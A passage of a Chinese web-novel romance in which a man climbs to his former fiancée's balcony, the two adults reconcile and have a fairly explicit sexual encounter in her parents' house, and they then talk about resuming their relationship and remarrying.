底下的男人从衣兜里拿出手机来扬了扬,示意她去拿手机。 舒纯熙自然一动不动。 而底下已经拨通了电话的男人,双掌合十做了个不断作揖的好笑姿势。 阳台上的女人这才不情不愿地回去拿了自己的手机来,走回栏杆前跟他遥遥对视,然后接通了电话。 等到听筒里传来男人有点不稳的声线,舒纯熙才觉得这一晚上,自己总算是听到了敬渝说话的声音了。 冷哼了一声,没好气地发问道: “你干嘛,有什么事啊?” “我能上去么?” 男人醇厚的声音透过扬声器传到舒纯熙的耳边,好商好量地。 他不是刚走么? 舒纯熙皱着眉打量了他一下,语气不怎么好地说: “随便你,你爱怎样怎样好了!” 自己回来这几天,他是一点都没关心过。 现在还要上来干什么,自己跟他难不成还有什么话好说的? 说完,气鼓鼓的 女人就想要回去了,然后再锁上门不给敬渝进来。 只是没等她转过身去,下一息就眼睁睁地看见敬渝将手机放进西装内兜里面,然后朝着墙根靠近贴过来,最后脚踩着旁边的横柱,手抓墙壁上的不知什么东西,三下五除二地竟然从外壁上爬到了自己跟前。 转眼间,敬渝已经站在栏杆外面,长腿一翻,整个人翻了进来。 舒纯熙看完全程,惊得后退了一步,心里激荡着一种难以置信的感受。 她是知道自己住的二楼并不算太高,但她真没想过敬渝说的“上来”,指的是这么上来。 “不是,你……?” 她伸出手指着眼前的男人,完全呆愣住了,匪夷所思地说: “你在干什么啊?” “挺厉害的吧?” 男人平复着有点短促的呼吸,冲着她露出一个有点得意的笑,待到差不多平静后才看着她的脸,扬起眉毛,语速飞快地说: “我跟你说实话,十七岁我就想这么干了。” 干什么? 夜翻自己的栏杆,偷偷来自己的房间吗? 他十七岁,那自己那时候不是才只有十五岁么? 舒纯熙压下脸来,嘴角刻意向下撇着,气急败坏地跺脚道: “你神经病啊!” 说完她就转身要往秋千边走,坐了上去双手抱胸。 敬渝瞥了一眼她的脸色,跟过去小心翼翼地解释了一句: “不是,我就是想一想,那我不也没这么干么?” 坐着的女人摇晃起了秋千,低声又骂了句“神经病”。 弓着身子站在一边的男人伸出食指,有点心虚地摸了摸自己的鼻子。 谁还没有个年轻气盛的时候,当然,最最令他心虚的其实还是,少年时没敢干的事情,十年之后的今日,他竟然给做了。 他都不知道是该说自己长进了,还是更不要脸皮了。 “行了,说吧,你有什么事?” 舒纯熙蹙着眉,很快就问道。 “你怎么还没走?” “这不是……今天都没跟你怎么说话么?” 闻言,舒纯熙好笑地发出几声冷哼,反问道: “所以呢,你刚刚在底下不是都没话跟我说吗,现在还想干嘛?” “你生我气了吗?” 男人伸手制住秋千向前晃动的动作,竟然挤着要坐在她身边,坐下去后,再接过舒纯熙原先的动作,带着秋千的座椅往前面摇晃。 “我不是想着,在伯父伯母面前不能表现地太上赶着了么,万一他们都觉得我其实还是挺不错的,劝你再接受我,跟我结婚,到时候你怎么办?” 舒纯熙“切”了一声,不置可否。 而后敬渝想了想,又忽然说: “你能不能让人给我准备把梯子,这样下次我就不用徒手爬上来了。” 说着,他把自己手上蹭破的伤口举到她眼底给她看。 他还想有下次? “你有病啊!” 舒纯熙猛地用脚抵住秋千,站起身来往回走。 敬渝也就不坐了,站起来拉住她的小臂,望着她的背影,忽然低低地开始说: “我想你,这几天睡觉的时候旁边没有你,我都开始失眠了。” 女人的身形顿住了,没再挣扎,耳后的声音又顺着风传过来,带着点委屈巴巴, “纯熙,我好想你,我舍不得你。” 说着,男人试探地上前一步,从后面拥住了她的身体,在她耳边又重复了一遍。 “我想你,纯熙,不知道你有没有想我?” “当然没有,我想你干什么?” 舒纯熙踩了敬渝一脚,转过身在他胸膛上锤了一拳,如同炸毛的猫一样叫道: “我讨厌你,我都讨厌死你了!” 第57章 女人的拳头使着劲儿,但因为被敬渝笼罩在臂弯里面,两只手弯曲着抵在他们两人的身体之间,好像怎么都用不上力气,只如同挠痒痒一般。 一连锤了几下,她也泄了气不再努力,收着自己腰身的那一双大掌牢牢禁锢着她,就好像怎么都挣脱不开一样,反而还因为她下意识的扭动,收束得更加紧密。 她已然就要贴着敬渝的胸膛了,自己的心房里传来愈发错杂的声音,连带着混进来男人的心跳声,像是在跳一支恰恰舞曲。 舒纯熙不动了,任男人有力又霸道的掌心控住自己的后腰,抿着唇只作生气状。 敬渝脚上踩的是皮鞋,即使刚刚被舒纯熙给跺了一脚,女人那柔软的拖鞋底也只是铩羽而归,想来吃苦头的人反而是她。 唇角勾起一个弧度,敬渝望着咫尺之间的那张脸蛋,很讲道理地温声问她, “那你说说,究竟是哪里讨厌我了?” 他说话的时候,还刻意低下头朝着舒纯熙凑得更近,与她目光凝滞交融,唇几近落在她耳边。 娓娓道来,不疾不徐,端的是洗耳恭听的正经模样,但尾音含笑,分明带着促狭。 舒纯熙只觉得自己的腰更瘫软了,但两只小臂也不愿意去攀他的双肩,只抵着他,飞快地移开了眼神。 被他的眼神这么一扫,带着磁性的嗓音这么一问,脑子里面竟然什么话都想不出来了。 但舒纯熙就没有甘心落于下风的时候,撇撇嘴,丝毫不给面子地说: “哪里都讨厌,你这个人浑身上下我都讨厌极了。” 闻言,男人的笑声从胸膛里晃荡开来,刻意压低了声音,但身体的动作没有顾忌,连带着怀里的她也一齐颤动了起来。 待到笑完了,他竟然很认真地回答说: “我不信。” 一股子奇怪的情绪在两人之间流淌起来,舒纯熙巴巴地张着嘴,努力地在想下一句话来证明自己刚刚说的。 没等她想出来,男人竟突然动腰向前顶了她一下,不过一瞬,电光火石般就结束了,然后他又悠悠地拥着她立定,仿佛什么都没有发生过。 只是他接下来说的话,留下了犯罪证据。 敬渝低声蛊惑了一句,有点得意地说: “这儿也讨厌么?” 舒纯熙的脸“唰”得一下就红了,嘴角拉下去,“呼哧呼哧”吐着气,但脸色却越来越红,直至染遍一整张面颊。 脸上这么迅速的变化,她当然也能意识得到,并且她还能感受得到敬渝说完这话之后,还在一直盯着自己看! 但她却无可奈何,甚至都控制不了自己的脸色。 舒纯熙忽然闭上双眼,皱起鼻子,有点气急败坏地说: “流氓,你是流氓!……还有刚刚!说什么十七岁就想这么干了,你你你,你怎么说得出口?那时候我才十五岁呢!……” 她越想越觉得自己说得对,底气大增地睁开眼睛,用一双亮闪闪的眼睛瞪着敬渝,语速飞快的质问他: “你刚刚,你还……那样!你说你不讨厌吗?你是大流氓!” 敬渝沉吟了一会儿,面颊先前也飘上一点淡红,因为她起先说得对,但听到后面,他那点赧然就又理所当然地收回去了。 男人眨了下眼,一脸正派地解释道: “你是不是误会什么了?那时候是因为你生了传染病,伯父伯母不让我去见你,我才在楼底下观察了一下,想着能不能从外面爬上来见你呢。” 舒纯熙懵了,她哪里能在第一时间记起来自己十五岁的时候生过什么病? 但看敬渝振振有词的模样,她又有点心虚,耐下性子仔细回想了一下,又发现貌似是有这么一回事儿。 所以…… 女人迟疑着,再度抬起眼睛的时候,男人已经有点受伤地垂着眸子了,仿佛被误解受了多大的委屈一样。 她觉得自己被摆了一道,于是又挣扎着抬起一条腿要去踩敬渝。 但那脚还没落下,就被一只大掌向下一捞,一只腿就恰在低空中被截住,没等她反应过来,自己已然被向上一抛,然后跌入一个人的怀抱里面。 舒纯熙起先喉中的那声低呼克制着不敢发出,潜 意识里生怕被父母发现房间里面还有另一个人,待到被敬渝抱着从阳台上往里走的时候,她才反应过来,猛地砸了一下男人的肩膀,没好气道: “你发什么疯,你想干什么呀?” 敬渝配合地低哼了一声,表明他被打痛了,走到玻璃门外,还示意舒纯熙去把门推开。 待到进了门,又转了个身借她的手把门给关上。 夏夜里面蚊子乱窜,但凡放进来一只,即使夜里点着蚊香或者驱蚊灯,舒纯熙晚上也是睡不好了。 做完这一切,男人继而将她抱到床边。 大约是方才爬上来时衣服不怎么干净,敬渝迟疑了一下,没有碰到她的床,原本应该抵在床垫上的那只腿向下,跪在了地毯上,双臂用了个不好省力的姿势,将舒纯熙给放在了床上。 女人的身体刚刚落在床上,就已经一骨碌从床上坐了起来,气鼓鼓地盯着敬渝的脸看。 男人半蹲半跪在床畔,同她坐着的高度几乎持平。 方才在外面的时候,只有室内透出来的灯光和外面的月光,这人的样子她虽然心里记得,却并没有看清楚。 而现在,室内的光源将他面部照得清清楚楚,深邃的面庞落在眼底,恰到好处的深浅阴影,抿成直线的薄唇,令人有些移不开眼睛的清冷俊美。 双手撑在身后的床垫上面,舒纯熙也不知道,是不是今时今日的地点给了她前所未有的底气,还是男人跪在床下没有再动作的模样给了她冲击。 总之,舒纯熙脚趾轻动,忽然就有点说不出叫他快点走的话了。 就这样看他一会儿,跟他安安静静地待在同一个空间里面,好像也还是不错的。 心中有点踌躇,女人手下的床单也就被攥得有些皱了。 敬渝就在这时候将目光从她的手上移开,仰面望着她的同时,伸出手握住她小巧的脚腕,意味不明地摩挲了一下,眉眼清明,只低低地问: “纯熙,今夜留我么?” 床上的女人气势兀自弱了,被他这话问得有点心慌,小声嘀咕道: “你说什么呢!我爸爸妈妈今天才回来,你,你想干什么呀?” 男人顿了一下,顺着她的话想了一下,也生出了一点不自在来。 翻墙见人、窃玉偷香,这些事情还真是跟自己有点不搭。 真要叫他在一条不要脸面的道路上即刻狂奔到终点,对他也实在是一种为难。 猛地咳嗽了两声,男人顺势收回手来作掩鼻状,十分不自在地从地上爬起来,悄声应道: “你说得对,那,那我还是先走了。” 说完,许是觉得没面子,他又摸了摸鼻梁,强忍着心里不断蔓延开来的尴尬,一本正经地说: “晚安,祝你做个好梦。” 说完,他就转身要走了,也就是在这时候,卷起来的衣袖被一只手拽在了手里。 “我让你走了嘛?” 敬渝疑惑地转过头,只见女人已经从床上爬起来跪直着上半身,虽然垂着头没给他眼神,但手确实是拉住了他的一点袖子。 “你先告诉我,这几天都干什么去了。” 她小声地说,语气称不上平和。 但莫名让敬渝觉得,这个问题的回答,是个至关重要的东西。 他转过身来,仔细回想了一遍自己这几天做的事情。 他花了半天时间思考她到底为什么要跟自己离婚,又花了半天时间处理郑明波的事情,然后,又花了一天时间继续为先前的事情生气发怒。 好不容易等到今天,总算趁着送舒伯父舒伯母回来的机会,来见了她一面,然后他就不想走了,人还没走到大门就转了回来,做出了要回来见她的决定。 最后,敬渝说: “我在想,怎么才能把你再娶回来。” 舒纯熙冷哼一声,对他的这个回答不置可否,不过也接下去问了一句, “那你想到办法了吗?” 面前的男人舔了舔唇瓣,喉头滚动,不好意思说自己还没找到什么绝佳的好方法,只得身体力行地展示起了他暂时践行的这套方案。 敬渝俯下上半身,忽然凑到她跟前,没被抓的那只手两指清浅地抬起她的下巴,自己也微扬起下巴,主动亲她,再勾她回应自己的吻。 室内逐渐响起“啧啧”的水声。 女人拽着他衣袖的手越来越紧,拉着他朝自己靠过来,最后男人脱了有些脏的衣服扔在地上,还算干净地上了她的床。 房间里的隔音总是不算好的,两个人各自忍耐着喉中呻/吟,用激烈的交吻逼自己将那些杂音给咽下去。 事实上确实有效果,只不过这次比上次流的汗都要多,两个人汗涔涔如同从水里捞出来一样,两张脸各自憋着涨红。 看上去确实是在背着父母初尝禁果的样子。 男人坚实的双臂忽得抱起身下女人,将她一翻,两个人的位置颠倒过来。 舒纯熙本就体力不支,现下只得趴在敬渝向后仰着的胸膛上,自己胸前的两团圆润紧紧地压在他肌理分明的胸膛上面。 或许是看她累得闭眼,男人没再莽动,只是静静地拥着她,感受她同自己亲密相触的那点沉甸甸的重量。 她的体重养回来一些,如今身上有了点肉,敬渝觉得要感谢自己请的那几个厨师。 双臂抵在身侧,撑着自己和身上女人的重量,男人亦是合上了双眼,光是拥着她的腰,感受着彼此胸口紧紧相贴的情状,就足够他唇角流露出点满足的笑意,喟叹地出了声,呢喃着道: “纯熙,唔……啊,我的纯熙。” 舒纯熙红着脸,听他在自己耳边说这种话,乖巧地束着双手,像一只小羊羔一样依赖地趴在他身上。 房门在外面被敲响,杨曦温柔的声音隔着一道门传了进来, “宝贝,你听到妈妈说话了吗?可以开门让我进去嘛。” 第58章 原本两个人就都克制着没有弄出来什么太大的声响,房间里应该是安静的。 可偏偏所有的关注力又都落在了彼此这一方小天地之间,舒纯熙只觉得耳膜鼓胀,好像置身在水里,根本就听不见一米之外的其余声响。 直到杨曦的声音彻底清晰地经由她耳朵传到大脑的时候,心跳率先做出了反应,在那一瞬间骤停,整个人好像都被点了定身。 后知后觉地意识到,自己已经错过了外面人前两次的呼唤。 呼吸也停滞着不敢进行下去,但水润温暖的甬道却立刻猛然收缩。 支撑在她身前的男人当然也没好到那里去,在差不多同一时刻也浑身陡然紧绷,本咬着牙还想冷静地面对眼下的变故。 但分明轮不到他做主,喉咙中就再也压抑不下,溢出来一声嘶哑的闷哼。 敬渝双拳握得青筋遒劲,不可自抑地朝后仰面,两只敛眸微微阖着,脖颈间的线条凸出,一滴汗顺着额角流了下来。 温暖流淌在身体里面,两个人的身体结/合在一起,以相同的幅度微微地震颤着。 大脑宕机,舒纯熙本来紧绷的神经、大脑里飞速运转的思绪,都被现下这件意料之外却又好像情理之中的事情,冲击得破碎了。 她咬住下唇,面上立刻就浮上一种类似埋怨的娇蛮情状,还带着点怒意,偏偏那两瓣软肉还在贪恋地翕动着,仿佛是她流连不舍。 心里险些就生出一种欲哭无泪的怒火来,险些被气哭,但又来不及纠结到底该算谁的帐。 女人伸手往后推拒男人的肩,不知哪里来的一股子力气,边分开,边后退着膝行两步。 敬渝刚刚释放,还没缓过来,但理智还在,立刻就下了床捡起地上自己的一套衣服,忙跑进了床右侧的洗手间里,关上门,没开里面的灯,躲进里面。 床上的女人披头散发,双腿摊开跪坐在床上,形成一个“M”形状,抿着唇,压着 声音,转过头对着房门外说: “我准备睡了,有什么事……我们明天再说吧,妈妈。” 外面的杨曦等了好一会儿,才听到舒纯熙的回答,因为房门透出点里面的光来,她想女儿是没睡的。 只是这么久她才回话,嗓音里还有种莫名的喑哑,杨曦心里虽然有点疑惑,但也没说什么,站在门外“嗯”了一声,说: “那好吧,晚安,纯熙。” “晚安,” 舒纯熙坐在床中心,一动不动僵着身子,那处却被底下的床单堵着,粘腻润滑还温热的东西往下流,却又流不到别的地方去,只拢在腿/心之间,小脸皱得巴巴地,努力维持着语调的平稳,吐出几个字, “晚安,妈妈。” 她的嘴角僵硬着,慢慢试图找回自己的心跳和呼吸,但一时之间就是缓不回来。 心里的那种类似于被母亲抓包了的异样感受,已经在她整个心湖荡漾开来。 十分古怪,并不是她用几句安慰就能驱赶走的。 她就那样坐着,双手干干地搭在身边,终于意识到自己这是在恼羞成怒。 刚才那么紧急的情况下,虽然母亲大概率是不会直接推门进来,但还是很要紧,可他,他竟然还敢在那个当头直接口出来!!! 两排牙齿在口中紧紧抵在一处,她暗咬着牙,身体仿佛还在回味那人留给她的温度,一股带着他体温的液体,被他全都口在了自己的体内,他甚至还带着她一起抖动。 虽然知道这些事情大概他也是真的控制不了,但舒纯熙还是又羞又恼得不知道该怎么办。 身体里流淌的血液在渐渐回温,那并不是不好的感受。 她清楚地知道自己为什么喜欢叫他将口口都设给自己,都设到自己的身体里面。 那是她用来洗刷过往身体记忆的方法。 她没忘记和上一任丈夫的经历,只想叫眼前这个男人,重新篆刻自己的记忆。 但现在,今时今日,此时此地,那种身体记忆不仅被盖过去了,反而…… 她觉得自己掌控不住,但应该不能称得上是什么意外之喜吧。 因为她觉得自己被一种偷尝禁果被父母当场抓包了的感觉给笼罩住了,陷在里面无地自容。 她竟然觉得自己是一个,跟青梅竹马的邻家哥哥青涩地偷了欢的坏女孩。 可她明明都二十五岁了,她跟别的男人有过婚姻关系,早就不是未经人事的小女孩,而且还怀过孩子。 但她今夜,竟然就这样生出这种称得上是矫情的想法来。 意识到门外的杨曦没有进房来,敬渝就着黯淡的光线随便用纸巾清理了一下身体,然后就穿好衣服从洗手间里走出来。 乌发散在女人的背后,有些搭在肩上,女人维持着先前的姿势,未着寸缕的身体暴露在空气里。 其实,除了坦诚相待的亲密时刻,敬渝对于看见舒纯熙的身体这件事,还保有着一种很赧然和不好意思的心理。 尤其是在他自己已经穿上衣服之后。 敬渝绕回床边侧坐着,却见舒纯熙愣愣地,脸色好像并不怎么好的样子,不知道在想什么,就那样入了神。 又有点像是,要哭鼻子了? “你怎么了?” 男人探身过去,偏头伸指点了点她的鼻尖,小心翼翼地问了句,很快就反省道: “是不是因为刚刚,我,我没忍住……对不起,我,抱歉纯熙。” 他确实是有点不对,她虽然留他,但她母亲就在外面站着,他却“肆无忌惮”地释放了,实在有些不敬。 虽然他也实在是无奈,控制不住这种事,但终究还是他的错。 “我错了。” 他低低地说,垂下头,转而盯着淡粉色的床单一个劲儿地看,像个唐突了小青梅的愣头青。 如果不是她底下还留有温热的话,她就原谅他的唐突了。 舒纯熙依旧是那副表情,只是动了动嘴皮子,声音很小地说: “抱我去洗澡。” 大小姐终于发话,等同于饶恕了他,敬渝立刻就松了一口气,探身向前掌住她腰身,另一只手穿过腋窝,将她给抱在怀里,然后送进浴室。 敬渝在这儿可没有换洗的衣物,即使先前那一身有点脏了,他也不能弄湿,将衣服脱下,再进到淋浴间里替舒纯熙清洗身体。 女人依旧愣愣的,只是那眼神停留在他身上,不住地打量。 饶是敬渝手上有事可做,还是不得不分出心神来留心女人对自己的观察,虽然他弄不明白她的用意,但脑子里已经又过了千百遍。 很快,男人斟酌着想,许是因为今晚他没能怎么温声细语地跟她说话,跟上次那回有了落差,难免让她有些失落? 如果是这样,那就是自己极大的不对了。 用水将她身上的泡沫彻底冲干净,敬渝顺势在随意冲了冲自己,拿了条搭在架子上的干毛巾擦擦,穿好衣服,再拿一条洁净的大浴巾将舒纯熙一整个给包裹住,然后抱出去。 床是脏了的,男人出来的时候就想到了,便把人放在床尾的小沙发上,然后又在衣橱里翻箱倒柜地找新床单去换。 舒纯熙依在罩住自己的宽大浴巾里,望着前方,而身后侧男人好不容易找到一条新床单后,就忙忙碌碌地在床边整理着床铺。 昨晚这些,又回来,剥开她,替她穿内裤和睡衣。 敬渝两只有点尖的耳朵,依旧泛红,也不掩饰,不过要替她穿衣的动作还是很坚决,尽力做得妥帖。 替她扣完上衣的纽扣,跪在地上的男人鼓足勇气,开口柔声对沙发上的人说: “是不是我今晚没怎么跟你说话,对你太冷漠了,你觉得有点不开心了?” 他今夜没说话纯属意外,盖因今夜的地点特殊,不敢在舒宅过于造次,并非不想安抚夸赞她,毕竟他们第一次的那种情况下,他都还能记起要说那些蜜语甜言抚慰她。 舒纯熙哪里在想他说的这件事,她一心沉浸在自己有点迷幻的设想里,觉得自己刚刚是跟二十刚出头的敬渝做了点破戒的害羞私密事。 女人晃神回来,盯着敬渝的脸看,突然皱起鼻子说: “你到底什么时候才能想到把我娶回家的法子?” 第59章 敬渝正仰着头去看沙发上坐着的小公主,刚准备起身抱她站起来,把自己刚替她穿到小腿间的睡裤给提到腰间,闻言,手一顿停下了动作。 这话,是催促还是什么…… 不待细想,脑子里的想法早已往某一个方向上偏过去了。 “纯熙,你,你的意思是……” 眼睫伴随着快起来的呼吸频率眨动起来,敬渝难得有点掩饰不住的激动,带着紧张试探着问: “那我们……你,你是愿意了?” 舒纯熙眼看着敬渝露出一副天降幸运、又不敢贸然接受的样子,没好气地用鼻子叹气,翻了个白眼。 一下子打开他的手,自己站起身把衣服给穿好,低头扫他一眼,幽怨含怒地说: “谁说我是这个意思了?” 原以为自己是领会了她别扭隐晦的暗示的敬渝终于愣住了,收回双手也从地上站起来,观察着舒纯熙抿着的嘴角,干巴巴地舔了下唇瓣。 本想问她那是什么意思,但瞧她脸色不怎么好,他也就不敢这么问了。 敬渝脑子里的思绪飞速运转,用做心算一般的专注力在推算她先前的那个问 题,回忆着她起先带着不满和一点点恼怒的口气。 不是暗示同意的意思,那就是,暗示他快点去找? 敬渝这次不敢胡乱开口了,瞄着她的眼色,想着该怎么回答。 对面的女人看着他这样一副不知自己所云的样子,心中负气更甚,转过身,姿势有些微不自然地往床边挪。 “你睡也睡过了,赶紧滚吧。” 敬渝的目光始终追随着她的身影,见她没走出几步就冷不丁说了这句话,语气已经冷了,摆明了逐客样。 再一细思她这一上一下两句短短的话,里面的意思可算不上友善。 男人大步一跨,追到她身后,双手一揽将步履温吞的女人给公主抱起来,朝前送了几步,再在床边将她给放了下去。 原先的那张床单已经被敬渝换下拿到洗手间里,他本打算放在脏衣篓中,但又想到先前取下床单团在一块儿时看到的那块水渍,思虑了一下,刚才就在盥洗池里把那一小块儿给手洗干净,然后才塞在脏衣篓中的。 至于那一块儿明显与旁边深浅不一的面料,到底是他的东西,还是她的,他也分不清楚,更无暇多想,或许是两者混在一块儿,总而言之都被他自己手搓干净了,没留下什么叫别人看见的机会。 神思飞快地想到那一茬,再结合舒纯熙方才那冷冷的一句话,敬渝脸上红了又白,白了又青。 想上床坐在她身边,却又怕弄脏了新换的床单,便朝后靠坐在床头柜上,长腿向前一抵撑着,伸手去拉团腿坐在床头的舒纯熙的手腕。 指尖触感润滑,他用拇指规律地抚了好几下,才开口缓慢地说: “你刚刚说的那叫什么话,弄得好像我来,不是为了见你,反而是……为了跟你上/床一样。” 他这么说着,就不免有点难过,还委屈,先前还以为她跟着自己有着相同的情难自抑,难不成都是他会错了意吗? 女人垂着头没看他,低低地反驳说: “不是么,我们现在又没有什么关系,你还来找我,我们又这样……” 舒纯熙说着,越来越觉得自己词不达意,到底想说什么心里面也想不清楚,但就是气不顺,一个短句一个短句往外蹦。 她知道拉着自己手的男人肯定在认真听着,这认知反而愈发让她恼怒自己说的都是些什么乱七八糟的,一点用都没有。 他是真的洗耳恭听想解决问题的,而她反而是那个言辞闪烁、矫情造作的人一样。 越想越不爽,舒纯熙索性挣开敬渝的手,扬起头,在床上支起膝盖、直着上半身,居高临下地对着床头柜上倚着的男人说: “我的意思是你越界了,你引诱我,可是我们又没结婚,又没有任何关系,不能做那件事你知道么?” 她甚至后悔了,后悔怎么就回应了他的吻,拽着他的衣袖将他拉到自己的床上。 她怎么就这么抵挡不住诱惑呢?! 敬渝有点讶然地张开双唇,动了动上下两片唇瓣,却没有立刻发出声音来。 过了几息,才小声地唤道: “纯熙……” 敬渝想着,原想朝她的方向倾身过去,但不知怎的,脚下无力,直接抵着床垫双膝跪在床下的地毯上,“噗通”一声。 这一跪不要紧,但嘴巴已经很诚实地认起了错来。 “我,今天晚上确实是我鬼迷心窍了。你说的对,我认错,你别生我气,下次,下次我一定不会再这样了……” 语罢,男人抿唇,有点无措地将双掌交合在一块儿,用一手的拇指摩挲了另一只拇指的指甲盖,鼓足勇气才说: “但是,能不能……不要跟我没有一点关系?” 良久,舒纯熙也没有回答,敬渝原本不敢瞥她的眼睛追到她脸庞上,看她的神色几乎没有变化,还是跟刚才一样瘪着嘴巴。 他很快又想自己方才这句话提得不合时宜,明明她揪着的是那个问题,他还说什么有没有关系,岂不是反而坐实了他急色的事实? 敬渝巴巴地将唇闭得更紧,觉得自己还是不要张嘴说话比较保险,不知道为什么总是会在她面前嘴笨成这样,弄巧成拙。 “我,我刚刚说的这句是真心的,跟前面那句没关系的。” 敬渝又开口,干干地解释了一句,抬首微微仰望着她,想要伸出手去牵舒纯熙的双手。 床上的女人没给他机会,一转身直挺挺地躺在床上,几秒后又朝着床那一头移过去,再从那头掀开薄被钻进去,调整了一下身姿,依旧把背部留给他。 竟是背过身去,彻底不搭理他了。 床下的男人束手无策,留在半空的手收回来,长指在鼻梁上一连摩挲了好一会儿,才又从地上爬起来。 敬渝垂眸凝望着床上堆起的那一块儿面料,伸手解开衣扣,往下改到底,将外衣脱了随便叠好,放在地毯上,然后掀开自己跟前的被子上了床。 不远处,女人的身体散发着暖意,连带着她周遭的床单也晕开一小块不似别处冰凉的触感。 敬渝凑到她身后,手掌没有贸然去碰她的身体,只是也枕上她脑袋底下的枕头,将额头轻抵在舒纯熙的后脑上,缓缓闭上了眼睛。 “你还不走?” 身前的人自然感受得到他的靠近,朝前踢动了一下自己的脚,没有回头,语气有点烦闷地径直说了一句。 “不走,我再陪陪你。” 他没走是钻了父母没把他送到大门的空当,若是留下来过上一夜,白天走的话可不一定能圆得过去。 随便设想一下,舒纯熙就觉得心烦,咬着嘴唇不想说话了。 敬渝听得到她的小动静,维持着跟她一起侧躺在一张枕头上的动作,也没有动。 身前咫尺的女人,对,准确来说她如今确实已经是一个女人了,可自己心里,却始终把她还当做从前未婚时的那个小女孩在看。 他还没有把心里那种由新奇的人生经历带来的奇怪感受给彻底消化完,静下心来想想,是有满足、欣喜这种情绪,为着她与自己终于亲密无间的事。 但其实,一种惘然酸涩的情绪,也在心头荡漾着不曾离去。 谁说情/欲与纠结矛盾的情绪不能同时存在? 身前的这个女人,他已经认识了二十几年,也把她当做未婚妻子看待了十几年。 他是有过一些成长中莽撞青涩的时刻,午夜梦回,不是没有曾拽住过她的一片衣角,想要将她留下。 但那不一样,醒来后,他还是将那种隐秘的念头近乎慌乱地给埋藏在心底,面对她的时候,尽力维持着一派正经严肃的神情,不敢亵渎她分毫。 只是,不知道她有没有像自己这样,也在梦里见到过自己? 敬渝的心不禁有点打起鼓来,怕自己矫情老派,怕自己古板、不够新潮,还怕是自己不解风情。 那天的事情,现在想起来心下也无所适从,说是赶鸭子上架亦不为过,总之一切发生得都有点失了控,他没有预想过会那样同她发生亲密关系。 再想想今日,虽是情之所起难以抑制,但地点与时间,又确实弄得如同偷情一般。 所以,虽然他们已经肌肤相亲过两次,但他,还是没能在心里完全接受这件事。 甚至于心底里生出了一丝心虚与迷惘,怕他们其实是在心意相通之前,先发生了亲密关系,又迷恋于男欢女爱,忽略了先去两心相知。 仔细算来,确实是他的错。 那纯熙是怎么想的呢? 敬渝蜷起手指,在身下的被单上无力地抠动了一下,低低地说: “纯熙,你喜欢 我吗?” 舒纯熙听见身后的男人忽然问了这么一句,摸不着头尾,但莫名戳中了她心上的某一处,里面憋着气不去看的什么东西彻底流淌出来,叫她聚精会神,想要去探索。 但她没有回答,蠕动着嘴唇,不知道该说什么。身后的声音已经又响起来。 “我喜欢你,很喜欢,也很习惯这种喜欢了。不瞒你说,我们……能像刚刚那样,我心中,很欢喜,但其实,也有点惶恐……” 他习惯于等待,等待他们都长大,等待他们到了可以结婚的年龄,等待结婚后再做某些事情。 可是事情并没有按照他的预想去发展。 他终究拥有了那么美好的她,情事的果子摘下来,原来果真是甜得叫人落泪,但尾调里还是留下了几丝酸。 就当她的胸脯抵在自己的胸膛上时,那种新奇的带有冲击感的认知将他冲刷了个遍,但满足过后,却又因太过靠近了幸福而不敢理所当然地接受了。 有时候,面对她,他开始想入非非,开始变成了欲/望的奴隶,他想要她。 但他却有点愧疚地不敢去面对这样的情绪,他不知道是不是对的。 “对不起纯熙,我也不知道,我怎么了。” 好像确实是好色,确实是男人本性了。 她是怪他这个吧。 敬渝垂下眼眸,有点歉疚地不知道怎么办才好。 第60章 他从前以为这种事情是水到渠成、顺理成章的。 青梅竹马,逐渐长大,把对方越来越放在心上重要的位置上面,然后,到了某一刻,就可以去接受更亲近更依赖的事情发生,再在关系上更进一步。 他预想的是那样的。 但等到真的发生那件事情的时候,他又发现这一切好像并不是他想象中的那么简单。 自己心中的理智和清醒逐渐被一张黑蒙蒙的布给盖上,影响他去判断,影响他去认知。 他只知道从那块罩着自己的黑布底下漏出来的是喜悦和满足的情绪,是那种一个男人与心爱的女人灵肉合一之后该产生的情绪,符合那样的逻辑。 但那块布他掀不开,也不敢掀开,或许也是没有力气去掀开。 他隐约地觉得好像少了点什么。 他的人生原本严丝合缝地在运转,严谨、周密,从来没有想到过会出现这么一件棘手的事情,理智好像完全不管用,因为什么都分析不出来。 拧着眉头,敬渝小声地对着面前不作声的身影说: “不要跟我没有关系了好不好?你不喜欢的话,以后我们就不做了,我不想让你难受,我发誓。” 他鼓起勇气,终于伸手掌住她小腹,将人揽进自己的怀里,轻轻地说: “我们继续谈恋爱好不好,我会认真追你的。” 直到听见敬渝的这句话,舒纯熙才任由胸膛里那种酸涩的情绪绽开来。 静了半晌,她在男人怀里转了个身,面庞离他裸露的胸膛很近。 “可是,我没记错的话,你以前可不会脱光衣服,这样跑到我床上来诶。” 空出手来戳了戳他的肋骨,似好玩似探究一样,女人嘟囔着嘴突然下了定论: “讨厌,流氓,混蛋,占我的便宜,还那样对我,你变坏了敬渝!” 说完,女人的手又移到他腰上,重重地戳了一下,声音低下去,底气不足却又要虚张声势,有点心虚地补了一句, “……还,还把我也给带坏了!” 任她动作的男人抿着唇尽量不发出声音来,只是忍耐的过程中不知是腰上太痒,还是这话令他确实觉得无地自容,欲盖弥彰地闭上眼皮子牢牢地合着,两边脸皮染上不正常的红晕。 默认了舒纯熙的指控。 舒纯熙这一遭从头到尾也算是玩够了,再抬起眼皮子看敬渝的脸,依旧红得明显,跟他的一张玉面白脸很不符。 不指望他能主动想明白自己先前脑子里捣鼓着什么东西,现下光是看他这种含羞欲死还要极力忍耐的样子,也就已经很有意思了。 “小渝哥哥,你长大以后,怎么就变得这么坏了?” 吃吃地笑了一下,女人又促狭地朝他胸前埋过去,用鼻尖不轻不重地在他肌肤上划动。 回应她的只有男人愈发压抑才勉强平稳的呼吸。 她都这么说了,敬渝自然无不应下,藏起那一丁点不经意的委屈,有些惭愧地应了她一句: “嗯……对不起,是我变坏了。” 舒纯熙又小声地在笑,也不知道是在笑话他,还是在笑自己心里的那个想法。 总之她将手回揽在敬渝的腰上,底下的那只手执着地要塞进他与床垫的缝隙之间。敬渝只好抬起一些,好让她的手通过,然后再压下去。 怀里的女人便用手将他整个人环腰包裹住,与他亲昵地相依偎着。 敬渝拿不准她如今的想法,逐渐平静安稳地呼吸着,伸手抚住她脊背,便听见舒纯熙又追着问道: “说,你是从什么时候开始变坏的?” 闻言,下巴正巧抵在女人头顶的男人很快合上双眼,闭不做声,只从喉中吐出一声不自在的假咳来。 他三缄其口,乃至于舒纯熙竟然撬不开他的口,胡搅蛮缠地凑过去亲他的嘴巴。 